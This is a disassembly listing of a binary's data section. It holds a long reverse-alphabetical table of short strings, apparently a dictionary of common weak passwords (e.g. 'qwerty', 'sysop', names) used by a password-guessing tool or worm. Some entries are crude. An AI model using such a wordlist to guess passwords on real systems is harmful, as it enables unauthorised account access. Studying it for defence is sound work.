aUniversa	db 'universa',0         ; DATA XREF: .data:0042BD08o
		align 10h
aUniform	db 'uniform',0          ; DATA XREF: .data:0042BD04o
aUnicorn	db 'unicorn',0          ; DATA XREF: .data:0042BD00o
aUnhappy	db 'unhappy',0          ; DATA XREF: .data:0042BCFCo
aUndo		db 'undo',0             ; DATA XREF: .data:0042BCF8o
		align 10h
aUncle		db 'uncle',0            ; DATA XREF: .data:0042BCF4o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: .data:0042BCF0o
		align 10h
aUgly		db 'ugly',0             ; DATA XREF: .data:0042BCECo
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: .data:0042BCE8o
		align 10h
aTurn		db 'turn',0             ; DATA XREF: .data:0042BCE4o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: .data:0042BCE0o
aTubas		db 'tubas',0            ; DATA XREF: .data:0042BCDCo
		align 4
aTruth		db 'truth',0            ; DATA XREF: .data:0042BCD8o
		align 10h
aTrue		db 'true',0             ; DATA XREF: .data:0042BCD4o
		align 4
aTron		db 'tron',0             ; DATA XREF: .data:0042BCD0o
		align 10h
aTrombone	db 'trombone',0         ; DATA XREF: .data:0042BCCCo
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: .data:0042BCC8o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: .data:0042BCC4o
aTrisha		db 'trisha',0           ; DATA XREF: .data:0042BCC0o
		align 4
aTrek		db 'trek',0             ; DATA XREF: .data:0042BCBCo
		align 4
aTree		db 'tree',0             ; DATA XREF: .data:0042BCB8o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: .data:0042BCB4o
		align 10h
aTrap		db 'trap',0             ; DATA XREF: .data:0042BCB0o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: .data:0042BCACo
		align 4
aTrails		db 'trails',0           ; DATA XREF: .data:0042BCA8o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: .data:0042BCA4o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: .data:0042BCA0o
		align 4
aTraci		db 'traci',0            ; DATA XREF: .data:0042BC9Co
		align 4
aToyota		db 'toyota',0           ; DATA XREF: .data:0042BC98o
					; .data:0042C5A8o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: .data:0042BC94o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: .data:0042BC90o
		align 10h
aTopograp	db 'topograp',0         ; DATA XREF: .data:0042BC8Co
		align 4
aTomato		db 'tomato',0           ; DATA XREF: .data:0042BC88o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: .data:0042BC84o
		align 10h
aToken		db 'token',0            ; DATA XREF: .data:0042BC80o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: .data:0042BC7Co
		align 10h
aToad		db 'toad',0             ; DATA XREF: .data:0042BC78o
		align 4
aTits		db 'tits',0             ; DATA XREF: .data:0042BC74o
		align 10h
aTina		db 'tina',0             ; DATA XREF: .data:0042BC70o
		align 4
aTime		db 'time',0             ; DATA XREF: .data:0042BC6Co
		align 10h
aTiger		db 'tiger',0            ; DATA XREF: .data:0042BC68o
					; .data:0042C59Co
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: .data:0042BC64o
aThursday	db 'thursday',0         ; DATA XREF: .data:0042BC60o
		align 4
aThin		db 'thin',0             ; DATA XREF: .data:0042BC5Co
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: .data:0042BC58o
aThailand	db 'thailand',0         ; DATA XREF: .data:0042BC54o
		align 4
aText		db 'text',0             ; DATA XREF: .data:0042BC50o
		align 10h
aTetris		db 'tetris',0           ; DATA XREF: .data:0042BC4Co
		align 4
aTess		db 'tess',0             ; DATA XREF: .data:0042BC48o
		align 10h
aTerminat	db 'terminat',0         ; DATA XREF: .data:0042BC44o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: .data:0042BC40o
		align 4
aTera		db 'tera',0             ; DATA XREF: .data:0042BC3Co
		align 10h
aTennis		db 'tennis',0           ; DATA XREF: .data:0042BC38o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: .data:0042BC34o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: .data:0042BC30o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: .data:0042BC2Co
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: .data:0042BC28o
aTeen		db 'teen',0             ; DATA XREF: .data:0042BC24o
		align 4
aTech		db 'tech',0             ; DATA XREF: .data:0042BC20o
		align 10h
aTears		db 'tears',0            ; DATA XREF: .data:0042BC1Co
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: .data:0042BC18o
		align 10h
aTeam		db 'team',0             ; DATA XREF: .data:0042BC14o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: .data:0042BC0Co
		align 10h
aTarragon	db 'tarragon',0         ; DATA XREF: .data:0042BC08o
		align 4
aTarget		db 'target',0           ; DATA XREF: .data:0042BC04o
		align 4
aTara		db 'tara',0             ; DATA XREF: .data:0042BC00o
		align 4
aTape		db 'tape',0             ; DATA XREF: .data:0042BBFCo
		align 4
aTango		db 'tango',0            ; DATA XREF: .data:0042BBF8o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: .data:0042BBF4o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: .data:0042BBF0o
		align 10h
aTamie		db 'tamie',0            ; DATA XREF: .data:0042BBECo
		align 4
aTami		db 'tami',0             ; DATA XREF: .data:0042BBE8o
		align 10h
aTamara		db 'tamara',0           ; DATA XREF: .data:0042BBE4o
		align 4
aTall		db 'tall',0             ; DATA XREF: .data:0042BBE0o
		align 10h
aTalk		db 'talk',0             ; DATA XREF: .data:0042BBDCo
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: .data:0042BBD8o
aSysop		db 'sysop',0            ; DATA XREF: .data:0042BBD4o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: .data:0042BBD0o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .data:0042BBCCo
		align 10h
aSybil		db 'sybil',0            ; DATA XREF: .data:0042BBC8o
		align 4
aSword		db 'sword',0            ; DATA XREF: .data:0042BBC4o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: .data:0042BBC0o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: .data:0042BBBCo
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: .data:0042BBB8o
aSuzie		db 'suzie',0            ; DATA XREF: .data:0042BBB4o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: .data:0042BBB0o
aSusie		db 'susie',0            ; DATA XREF: .data:0042BBACo
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: .data:0042BBA8o
aSusan		db 'susan',0            ; DATA XREF: .data:0042BBA4o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: .data:0042BBA0o
aSurfer		db 'surfer',0           ; DATA XREF: .data:0042BB9Co
		align 10h
aSupporte	db 'supporte',0         ; DATA XREF: .data:0042BB98o
		align 4
aSupport	db 'support',0          ; DATA XREF: .data:0042BB94o
aSupervis	db 'supervis',0         ; DATA XREF: .data:0042BB90o
		align 10h
aSuperuse	db 'superuse',0         ; DATA XREF: .data:0042BB8Co
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: .data:0042BB88o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: .data:0042BB84o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .data:0042BB80o
		align 10h
aSunday		db 'sunday',0           ; DATA XREF: .data:0042BB7Co
		align 4
aSummer		db 'summer',0           ; DATA XREF: .data:0042BB78o
		align 10h
aSucks		db 'sucks',0            ; DATA XREF: .data:0042BB74o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .data:0042BB70o
		align 4
aSuck		db 'suck',0             ; DATA XREF: .data:0042BB6Co
		align 4
aSuccess	db 'success',0          ; DATA XREF: .data:0042BB68o
aSubway		db 'subway',0           ; DATA XREF: .data:0042BB64o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: .data:0042BB60o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: .data:0042BB5Co
		align 4
aStrip		db 'strip',0            ; DATA XREF: .data:0042BB54o
		align 4
aString		db 'string',0           ; DATA XREF: .data:0042BB50o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: .data:0042BB4Co
		align 10h
aStratfor	db 'stratfor',0         ; DATA XREF: .data:0042BB48o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: .data:0042BB44o
		align 4
aStrange	db 'strange',0          ; DATA XREF: .data:0042BB40o
aStones		db 'stones',0           ; DATA XREF: .data:0042BB3Co
		align 4
aStoned		db 'stoned',0           ; DATA XREF: .data:0042BB38o
		align 10h
aStoneage	db 'stoneage',0         ; DATA XREF: .data:0042BB34o
		align 4
aSteve		db 'steve',0            ; DATA XREF: .data:0042BB30o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: .data:0042BB2Co
		align 4
aStephani	db 'stephani',0         ; DATA XREF: .data:0042BB28o
		align 4
aSteph		db 'steph',0            ; DATA XREF: .data:0042BB24o
		align 10h
aSteel		db 'steel',0            ; DATA XREF: .data:0042BB20o
		align 4
aSteal		db 'steal',0            ; DATA XREF: .data:0042BB1Co
		align 10h
aSteak		db 'steak',0            ; DATA XREF: .data:0042BB18o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: .data:0042BB14o
		align 4
aStartup	db 'startup',0          ; DATA XREF: .data:0042BB10o
aStartrek	db 'startrek',0         ; DATA XREF: .data:0042BB0Co
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40CC09+1C40o
					; .data:0042BB08o
		align 10h
aStarship	db 'starship',0         ; DATA XREF: .data:0042BB04o
		align 4
aStar		db 'star',0             ; DATA XREF: .data:0042BB00o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .data:0042BAFCo
		align 4
aStacie		db 'stacie',0           ; DATA XREF: .data:0042BAF8o
		align 4
aStaci		db 'staci',0            ; DATA XREF: .data:0042BAF4o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: .data:0042BAF0o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .data:0042BAECo
		align 4
aSquires	db 'squires',0          ; DATA XREF: .data:0042BAE8o
aSpunk		db 'spunk',0            ; DATA XREF: .data:0042BAE4o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .data:0042BAE0o
		align 4
aSpring		db 'spring',0           ; DATA XREF: .data:0042BADCo
		align 10h
aSpred		db 'spred',0            ; DATA XREF: .data:0042BAD8o
		align 4
aSpit		db 'spit',0             ; DATA XREF: .data:0042BAD4o
		align 10h
aSpiderma	db 'spiderma',0         ; DATA XREF: .data:0042BAD0o
		align 4
aSpider		db 'spider',0           ; DATA XREF: .data:0042BACCo
		align 4
aSpice		db 'spice',0            ; DATA XREF: .data:0042BAC8o
		align 4
aSpell		db 'spell',0            ; DATA XREF: .data:0042BAC4o
		align 4
aSpear		db 'spear',0            ; DATA XREF: .data:0042BAC0o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: .data:0042BABCo
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .data:0042BAB8o
		align 4
aSouth		db 'south',0            ; DATA XREF: .data:0042BAB4o
		align 4
aSource		db 'source',0           ; DATA XREF: .data:0042BAB0o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .data:0042BAACo
aSonya		db 'sonya',0            ; DATA XREF: .data:0042BAA8o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .data:0042BAA4o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: .data:0042BAA0o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .data:0042BA9Co
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: .data:0042BA98o
		align 4
aSoftware	db 'software',0         ; DATA XREF: .data:0042BA94o
		align 4
aSoft		db 'soft',0             ; DATA XREF: .data:0042BA90o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: .data:0042BA8Co
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: .data:0042BA88o
		align 10h
aSocial		db 'social',0           ; DATA XREF: .data:0042BA84o
		align 4
aSoap		db 'soap',0             ; DATA XREF: .data:0042BA80o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: .data:0042BA7Co
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: .data:0042BA78o
		align 10h
aSnake		db 'snake',0            ; DATA XREF: .data:0042BA74o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: .data:0042BA70o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: .data:0042BA6Co
		align 4
aSmut		db 'smut',0             ; DATA XREF: .data:0042BA68o
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: .data:0042BA64o
		align 4
aSmother	db 'smother',0          ; DATA XREF: .data:0042BA60o
aSmooch		db 'smooch',0           ; DATA XREF: .data:0042BA5Co
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: .data:0042BA58o
		align 10h
aSmile		db 'smile',0            ; DATA XREF: .data:0042BA54o
		align 4
aSmart		db 'smart',0            ; DATA XREF: .data:0042BA50o
		align 10h
aSmall		db 'small',0            ; DATA XREF: .data:0042BA4Co
		align 4
aSlut		db 'slut',0             ; DATA XREF: .data:0042BA48o
		align 10h
aSlow		db 'slow',0             ; DATA XREF: .data:0042BA44o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: .data:0042BA40o
aSlick		db 'slick',0            ; DATA XREF: .data:0042BA3Co
		align 4
aSlave		db 'slave',0            ; DATA XREF: .data:0042BA38o
		align 10h
aSkull		db 'skull',0            ; DATA XREF: .data:0042BA34o
		align 4
aSite		db 'site',0             ; DATA XREF: .data:0042BA30o
		align 10h
aSingle		db 'single',0           ; DATA XREF: .data:0042BA2Co
		align 4
aSinger		db 'singer',0           ; DATA XREF: .data:0042BA28o
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: .data:0042BA24o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: .data:0042BA20o
		align 4
aSimple		db 'simple',0           ; DATA XREF: .data:0042BA1Co
		align 10h
aSimon		db 'simon',0            ; DATA XREF: .data:0042BA18o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: .data:0042BA14o
aSilver		db 'silver',0           ; DATA XREF: .data:0042BA10o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: .data:0042BA0Co
		align 4
aSierra		db 'sierra',0           ; DATA XREF: .data:0042BA08o
		align 4
aSick		db 'sick',0             ; DATA XREF: .data:0042BA04o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .data:0042BA00o
aShort		db 'short',0            ; DATA XREF: .data:0042B9FCo
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .data:0042B9F8o
aShiva		db 'shiva',0            ; DATA XREF: .data:0042B9F4o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .data:0042B9F0o
aShit		db 'shit',0             ; DATA XREF: .data:0042B9ECo
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .data:0042B9E8o
aShift		db 'shift',0            ; DATA XREF: .data:0042B9E4o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .data:0042B9E0o
		align 4
aShell		db 'shell',0            ; DATA XREF: .data:0042B9DCo
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .data:0042B9D8o
aSheffiel	db 'sheffiel',0         ; DATA XREF: .data:0042B9D4o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: .data:0042B9D0o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: .data:0042B9CCo
		align 4
aShark		db 'shark',0            ; DATA XREF: .data:0042B9C8o
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: .data:0042B9C4o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: .data:0042B9C0o
aSexy		db 'sexy',0             ; DATA XREF: .data:0042B9BCo
		align 4
aSesame		db 'sesame',0           ; DATA XREF: .data:0042B9B8o
		align 10h
aService	db 'service',0          ; DATA XREF: .data:0042B9B4o
					; .data:0042C57Co
aSerial		db 'serial',0           ; DATA XREF: .data:0042B9B0o
		align 10h
aSerenity	db 'serenity',0         ; DATA XREF: .data:0042B9ACo
		align 4
aSentry		db 'sentry',0           ; DATA XREF: .data:0042B9A8o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .data:0042B9A4o
		align 10h
aSensor		db 'sensor',0           ; DATA XREF: .data:0042B9A0o
		align 4
aSega		db 'sega',0             ; DATA XREF: .data:0042B99Co
		align 10h
aSeed		db 'seed',0             ; DATA XREF: .data:0042B998o
		align 4
aSecurity	db 'security',0         ; DATA XREF: .data:0042B994o
		align 4
aSearch		db 'search',0           ; DATA XREF: .data:0042B990o
		align 4
aScout		db 'scout',0            ; DATA XREF: .data:0042B98Co
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .data:0042B988o
		align 4
aScott		db 'scott',0            ; DATA XREF: .data:0042B984o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .data:0042B980o
		align 10h
aScifi		db 'scifi',0            ; DATA XREF: .data:0042B97Co
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .data:0042B978o
aSchool		db 'school',0           ; DATA XREF: .data:0042B974o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: .data:0042B970o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .data:0042B96Co
aSaxon		db 'saxon',0            ; DATA XREF: .data:0042B968o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .data:0042B964o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: .data:0042B960o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: .data:0042B95Co
		align 10h
aSara		db 'sara',0             ; DATA XREF: .data:0042B958o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: .data:0042B954o
		align 10h
aSandra		db 'sandra',0           ; DATA XREF: .data:0042B950o
		align 4
aSample		db 'sample',0           ; DATA XREF: .data:0042B94Co
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: .data:0042B948o
		align 4
aSalt		db 'salt',0             ; DATA XREF: .data:0042B944o
		align 4
aSale		db 'sale',0             ; DATA XREF: .data:0042B940o
		align 4
aSalami		db 'salami',0           ; DATA XREF: .data:0042B93Co
		align 4
aSafe		db 'safe',0             ; DATA XREF: .data:0042B938o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .data:0042B934o
		align 4
aRush		db 'rush',0             ; DATA XREF: .data:0042B930o
		align 4
aRunning_0	db 'running',0          ; DATA XREF: .data:0042B92Co
aRules		db 'rules',0            ; DATA XREF: .data:0042B928o
		align 4
aRude		db 'rude',0             ; DATA XREF: .data:0042B924o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: .data:0042B920o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .data:0042B91Co
		align 4
aRubber		db 'rubber',0           ; DATA XREF: .data:0042B918o
		align 4
aRough		db 'rough',0            ; DATA XREF: .data:0042B914o
		align 4
aRoses		db 'roses',0            ; DATA XREF: .data:0042B910o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: .data:0042B90Co
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: .data:0042B908o
aRose		db 'rose',0             ; DATA XREF: .data:0042B904o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: .data:0042B900o
		align 10h
aRomulan	db 'romulan',0          ; DATA XREF: .data:0042B8FCo
aRomeo		db 'romeo',0            ; DATA XREF: .data:0042B8F8o
		align 10h
aRomano		db 'romano',0           ; DATA XREF: .data:0042B8F4o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: .data:0042B8F0o
		align 10h
aRodent		db 'rodent',0           ; DATA XREF: .data:0042B8ECo
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: .data:0042B8E8o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .data:0042B8E4o
		align 4
aRock		db 'rock',0             ; DATA XREF: .data:0042B8E0o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .data:0042B8DCo
		align 10h
aRochelle	db 'rochelle',0         ; DATA XREF: .data:0042B8D8o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: .data:0042B8D4o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .data:0042B8D0o
		align 10h
aRobot		db 'robot',0            ; DATA XREF: .data:0042B8CCo
		align 4
aRobin		db 'robin',0            ; DATA XREF: .data:0042B8C8o
		align 10h
aRobert		db 'robert',0           ; DATA XREF: .data:0042B8C4o
		align 4
aRoach		db 'roach',0            ; DATA XREF: .data:0042B8C0o
		align 10h
aRisc		db 'risc',0             ; DATA XREF: .data:0042B8BCo
		align 4
aRipple		db 'ripple',0           ; DATA XREF: .data:0042B8B8o
		align 10h
aRiot		db 'riot',0             ; DATA XREF: .data:0042B8B4o
		align 4
aRing		db 'ring',0             ; DATA XREF: .data:0042B8B0o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: .data:0042B8ACo
		align 4
aRight		db 'right',0            ; DATA XREF: .data:0042B8A8o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .data:0042B8A4o
		align 10h
aRick		db 'rick',0             ; DATA XREF: .data:0042B8A0o
		align 4
aRich		db 'rich',0             ; DATA XREF: .data:0042B89Co
		align 10h
aRhino		db 'rhino',0            ; DATA XREF: .data:0042B898o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: .data:0042B894o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: .data:0042B890o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .data:0042B88Co
		align 4
aReport		db 'report',0           ; DATA XREF: .data:0042B888o
		align 10h
aRent		db 'rent',0             ; DATA XREF: .data:0042B884o
		align 4
aReno		db 'reno',0             ; DATA XREF: .data:0042B880o
		align 10h
aRenee		db 'renee',0            ; DATA XREF: .data:0042B87Co
		align 4
aRemote		db 'remote',0           ; DATA XREF: .data:0042B878o
		align 10h
aRelease	db 'release',0          ; DATA XREF: .data:0042B874o
aRegional	db 'regional',0         ; DATA XREF: .data:0042B870o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .data:0042B86Co
		align 10h
aRedhead	db 'redhead',0          ; DATA XREF: .data:0042B868o
aReddawn	db 'reddawn',0          ; DATA XREF: .data:0042B864o
aRecord		db 'record',0           ; DATA XREF: .data:0042B860o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: .data:0042B85Co
		align 10h
aRebecca	db 'rebecca',0          ; DATA XREF: .data:0042B858o
aRebal		db 'rebal',0            ; DATA XREF: .data:0042B854o
		align 10h
aReaper		db 'reaper',0           ; DATA XREF: .data:0042B850o
		align 4
aReam		db 'ream',0             ; DATA XREF: .data:0042B84Co
		align 10h
aReally		db 'really',0           ; DATA XREF: .data:0042B848o
		align 4
aReality	db 'reality',0          ; DATA XREF: .data:0042B844o
aReagan		db 'reagan',0           ; DATA XREF: .data:0042B840o
		align 4
aRazor		db 'razor',0            ; DATA XREF: .data:0042B83Co
		align 10h
aRascal		db 'rascal',0           ; DATA XREF: .data:0042B838o
		align 4
aRape		db 'rape',0             ; DATA XREF: .data:0042B834o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: .data:0042B82Co
aRaindrop	db 'raindrop',0         ; DATA XREF: .data:0042B828o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: .data:0042B824o
aRain		db 'rain',0             ; DATA XREF: .data:0042B820o
		align 4
aRaid		db 'raid',0             ; DATA XREF: .data:0042B81Co
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .data:0042B818o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: .data:0042B814o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .data:0042B810o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .data:0042B80Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0042B808o
					; .data:0042C560o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .data:0042B804o
					; .data:0042C55Co
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: .data:0042B800o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .data:0042B7FCo
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .data:0042B7F8o
		align 4
aPunk		db 'punk',0             ; DATA XREF: .data:0042B7F4o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .data:0042B7F0o
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: .data:0042B7ECo
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: .data:0042B7E8o
aPuke		db 'puke',0             ; DATA XREF: .data:0042B7E4o
		align 4
aPuck		db 'puck',0             ; DATA XREF: .data:0042B7E0o
		align 10h
aPublic		db 'public',0           ; DATA XREF: .data:0042B7DCo
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: .data:0042B7D8o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .data:0042B7D4o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: .data:0042B7D0o
		align 4
aProtect	db 'protect',0          ; DATA XREF: .data:0042B7CCo
aPrompt		db 'prompt',0           ; DATA XREF: .data:0042B7C8o
		align 4
aProgram	db 'program',0          ; DATA XREF: .data:0042B7C4o
aProfile	db 'profile',0          ; DATA XREF: .data:0042B7C0o
aProfesso	db 'professo',0         ; DATA XREF: .data:0042B7BCo
		align 4
aProcesso	db 'processo',0         ; DATA XREF: .data:0042B7B8o
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: .data:0042B7B4o
aPrivs		db 'privs',0            ; DATA XREF: .data:0042B7B0o
		align 10h
aPrivate	db 'private',0          ; DATA XREF: .data:0042B7ACo
aPriv		db 'priv',0             ; DATA XREF: .data:0042B7A8o
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: .data:0042B7A4o
aPrinceto	db 'princeto',0         ; DATA XREF: .data:0042B7A0o
		align 4
aPrince		db 'prince',0           ; DATA XREF: .data:0042B79Co
		align 4
aPresto		db 'presto',0           ; DATA XREF: .data:0042B798o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: .data:0042B794o
aPrecious	db 'precious',0         ; DATA XREF: .data:0042B790o
		align 4
aPraise		db 'praise',0           ; DATA XREF: .data:0042B78Co
		align 10h
aPower		db 'power',0            ; DATA XREF: .data:0042B788o
		align 4
aPoster		db 'poster',0           ; DATA XREF: .data:0042B784o
		align 10h
aPost		db 'post',0             ; DATA XREF: .data:0042B780o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: .data:0042B77Co
aPorno		db 'porno',0            ; DATA XREF: .data:0042B778o
		align 4
aPorn		db 'porn',0             ; DATA XREF: .data:0042B774o
		align 10h
aPork		db 'pork',0             ; DATA XREF: .data:0042B770o
		align 4
aPoor		db 'poor',0             ; DATA XREF: .data:0042B76Co
		align 10h
aPoop		db 'poop',0             ; DATA XREF: .data:0042B768o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: .data:0042B764o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .data:0042B760o
		align 10h
aPolly		db 'polly',0            ; DATA XREF: .data:0042B75Co
		align 4
aPolice		db 'police',0           ; DATA XREF: .data:0042B758o
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: .data:0042B754o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: .data:0042B750o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .data:0042B74Co
		align 4
aPlover		db 'plover',0           ; DATA XREF: .data:0042B748o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .data:0042B744o
aPlane		db 'plane',0            ; DATA XREF: .data:0042B740o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .data:0042B73Co
		align 4
aPiss		db 'piss',0             ; DATA XREF: .data:0042B738o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .data:0042B734o
aPimp		db 'pimp',0             ; DATA XREF: .data:0042B730o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: .data:0042B72Co
		align 4
aPick		db 'pick',0             ; DATA XREF: .data:0042B728o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: .data:0042B724o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .data:0042B720o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: .data:0042B71Co
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .data:0042B718o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: .data:0042B714o
		align 4
aPhone		db 'phone',0            ; DATA XREF: .data:0042B710o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: .data:0042B70Co
aPhilip		db 'philip',0           ; DATA XREF: .data:0042B708o
		align 4
aPhil		db 'phil',0             ; DATA XREF: .data:0042B704o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0042B700o
		align 4
aPete		db 'pete',0             ; DATA XREF: .data:0042B6FCo
		align 4
aPervert	db 'pervert',0          ; DATA XREF: .data:0042B6F8o
aPersona	db 'persona',0          ; DATA XREF: .data:0042B6F4o
aPersimmo	db 'persimmo',0         ; DATA XREF: .data:0042B6F0o
		align 4
aPermit		db 'permit',0           ; DATA XREF: .data:0042B6ECo
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: .data:0042B6E8o
aPercolat	db 'percolat',0         ; DATA XREF: .data:0042B6E4o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: .data:0042B6E0o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .data:0042B6DCo
		align 4
aPentium	db 'pentium',0          ; DATA XREF: .data:0042B6D8o
aPenthous	db 'penthous',0         ; DATA XREF: .data:0042B6D4o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: .data:0042B6D0o
		align 4
